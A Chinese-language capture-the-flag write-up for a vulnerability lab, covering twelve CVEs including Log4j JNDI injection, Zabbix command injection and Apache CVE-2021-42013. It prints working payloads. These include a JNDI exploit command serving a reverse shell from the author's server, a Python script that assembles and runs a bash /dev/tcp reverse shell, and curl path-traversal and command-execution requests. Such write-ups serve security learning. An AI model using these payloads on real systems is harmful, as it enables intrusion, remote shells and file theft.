废话不多说。按通关顺序记录。
一、Log4j2远程命令执行
这一题很简单,只有十五分钟,搞快点搞快点。先读题,向hello页面post一个payload。使用如下payload验证漏洞:
${jndi:ldap://xxxxxxxxx/e}
(xxx是你的dnslog)。验证成功后就替换payload拿shell。拿shell需要用到这个工具:JNDI,有编译好的,直接拿来用,也可以下载源码自行编译,操作命令写的有,注意细心点。
我是直接用的编译好的放在自己的服务器上面,然后直接在你服务器上使用如下命令:(-C 后面跟的是要执行的命令,这里用了加密的反弹shell的命令(加密网站:https://x.hacking8.com/java-runtime.html),-A 后面是你的vps地址)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A x.x.x.x
这里要保证你的服务器那几个端口是开放的,然后用那些生成的命令 替换掉dnslog,然后在提交就会解析你服务器上的恶意类,就会执行反弹shell的命令,大概就是这么个流程。拿到shell之后,flag居然不在当前目录,为了快速找flag,可以用这个命令:
find / -name '*flag*'
上个工具运行图吧:箭头所指处就是恶意类的地址。
二、Grafana任意文件读取
题很难,或者我太菜。
漏洞验证很简单,根据网上的poc,写出一个批量验证的脚本,验证存在漏洞:
最难的一步来了,那就是找flag。
最开始,在/ect/passwd下找,没找到:
然后根据上一题,在tmp目录下也没找到,猜测flag可能存在一个叫flag的文件里,然后fuzz了目录,也没找到,跨目录继续fuzz还没找到,又尝试了flag.txt,依然没找的。
开始反思是不是思路错了,偶然间想起来在哪看到的文章写的是关于这个漏洞的其他利用方式,读取passwd只是验证,真正利用还要其他思路,果断去找那篇文章,得到grafana的数据库地址:
/var/lib/grafana/grafana.db
成功下载数据库,可是一百度发现库里的密码几乎不能破解:
给出的都是重置密码。这难受啊。到这里这题已经结束了,一分钟验证漏洞,一小时也没利用成功。是太菜了,要是有知道flag在哪的可以评论告知一下。
三、vulfocus/ofbiz-cve_2018_8033
老漏洞了,不知道是啥漏洞,但是有cve编号,GitHub上有对应的poc,传送门。这是Apache OFBiz < 16.11.04 的 XXE 注入(文件泄露)漏洞利用的漏洞。既然有poc那就一把梭吧,根据经验应该在tmp目录下,果然经验诚不欺人:
反思一下上一个漏洞,应该也是在tmp/flag-{xxx} 但是这种该怎么读取呢。
四、zabbix 命令注入 (CVE-2017-2824)
也是一个老漏洞了,网上较多的是POC,反弹shell的GitHub上有个新的(传送门),思路是不断向shell脚本中写入反弹shell命令,然后执行。放一下代码,我没成功,其中那个超时时间我改了,不然总是报timeout。
import sys
import socket
import json
from time import sleep
def send(ip, data):
conn = socket.create_connection((ip, 29143), 2000)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
# target = "192.168.144.128"
target = sys.argv[1]
num = 1
exps = [';echo -n "/bin/bash" > /tmp/1.sh', ';echo -n " -i >& " >> /tmp/1.sh', ';echo -n "/dev/tcp/" >> /tmp/1.sh',
';echo -n "xxx.xxx." >> /tmp/1.sh', ';echo -n "xxx.xxx/" >> /tmp/1.sh', ';echo -n "4444 0>&1" >> /tmp/1.sh',
';/bin/bash /tmp/1.sh']
for exp in exps:
host = "vulhub" + str(num)
print(host)
print(send(target, {"request": "active checks", "host": host, "ip": exp}))
sleep(1)
num += 1
for i in range(10000, 10500):
data = send(target, {"request": "command", "scriptid": 1, "hostid": str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
有会的大哥可以评论指点一下,感谢。
五、zabbix 代码执行 (CVE-2020-11800)
同上,网上很多复现文章,poc好像没区别,比如下面这个hxd的文章:
这里弹不回来应该也是上面那个人说的,命令太长了超过一定长度无法执行,也可以采取分段写入反弹shell命令然后再弹,我已经没信心去试了。有成功的好大哥评论指点一下,感谢。
六、Rails 代码注入(CVE-2020-8163)
开个环境,长长见识,长这个样子以后遇见了好认识。
EXP传送门,安装ruby环境,执行exp。这里偷懒了。直接下一题。
七、jboss 反序列化 (CVE-2015-7501)
直接工具,有漏洞,但是又没找到flag。
直接命令反弹shell失败,写文件echo命令用不了,查找文件失败,查看指定目录文件也失败。
有懂的大哥指点一下,感谢!
八、Atlassian Jira 路径遍历 (CVE-2021-2608)
漏洞描述为:能造成服务器部分文件信息泄露。然后GitHub了一下poc,利用方式是这样的:
GET /s/cfx/_/;/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1:8080
泄露的文件如下:
WEB-INF/web.xml
WEB-INF/decorators.xml
WEB-INF/classes/seraph-config.xml
META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties
泄露的文件里没找到flag,泄露内容看不懂。找flag又失败了。
到这里有点不清楚这个靶场的模式了,有懂的大哥评论指点一下。
九、Shiro 身份验证绕过 (CVE-2020-13933)
网上搜索了一下相关信息,是一个绕过身份验证查看敏感信息的的漏洞。分析文章很多,这里不再细说。利用方式是这样的直接在路径后面加:
/admin/%3bpage
目前看有点迷,想进一步利用扩大影响该怎么弄呢,而且这里也没用flag,网上很多复现教程到这里就结束了。细节利用没找打,放弃了。
有懂的大哥评论告知一下这个靶场的flag到底怎么找,感谢。
十、apache 远程代码执行 (CVE-2021-42013)
这题前面还算顺利,在网上找到很多复现文章。读取文件的POC如下(icons目录必须存在且能访问
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
执行命令的POC如下:
curl -v --data "echo;id" http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash
这里也是成功弹回了shell,一开始执行命令 ls /tmp没有回显以为是空格的问题,随后找到代替空格的命令ls${IFS}/tmp,但是还是没有,就直接弹个shell上去看看,不是root权限且找不到flag,放弃。有flag文件,但是查看里面却是空,难道还要提权吗,有懂的大哥评论指点一下,感谢。
十一、apache-shenyu(CVE-2021-38570)
也很顺利的找到了一些复现文章,这个漏洞应该算越权漏洞,低权限用户可以看到高权限的账号和密码,但是却看不到flag。
首先,利用弱口令admin/123456。这一步多少有点尴尬了,完美的利用方式应该是先有一个低权限账号再越权到高级。这里为了复现先利用弱口令创个低权限的号。登进去之后,先创个账号,然后给个登录权限,环境过期了懒得再开,网上找个图,功能点很少点点就知道是啥了:
然后推出去,用刚创的号登进去,然后向下面这样发包,截包,改包,越权:
可以看到所有的账号和密码,但是没有flag。有懂的大哥指点一下怎么找flag,是要用admin用户拿shell吗?
十二、nginx-cve-2016-1247
怎么说,我以为是登上服务器然后提权看root目录下的flag,提权exp传送门。但是这种情况怎么提权,大致看了下nginx的历史漏洞,也没有直接能getshell的漏洞。这种情况这题该怎么解,有懂的大哥评论指点一下,感谢。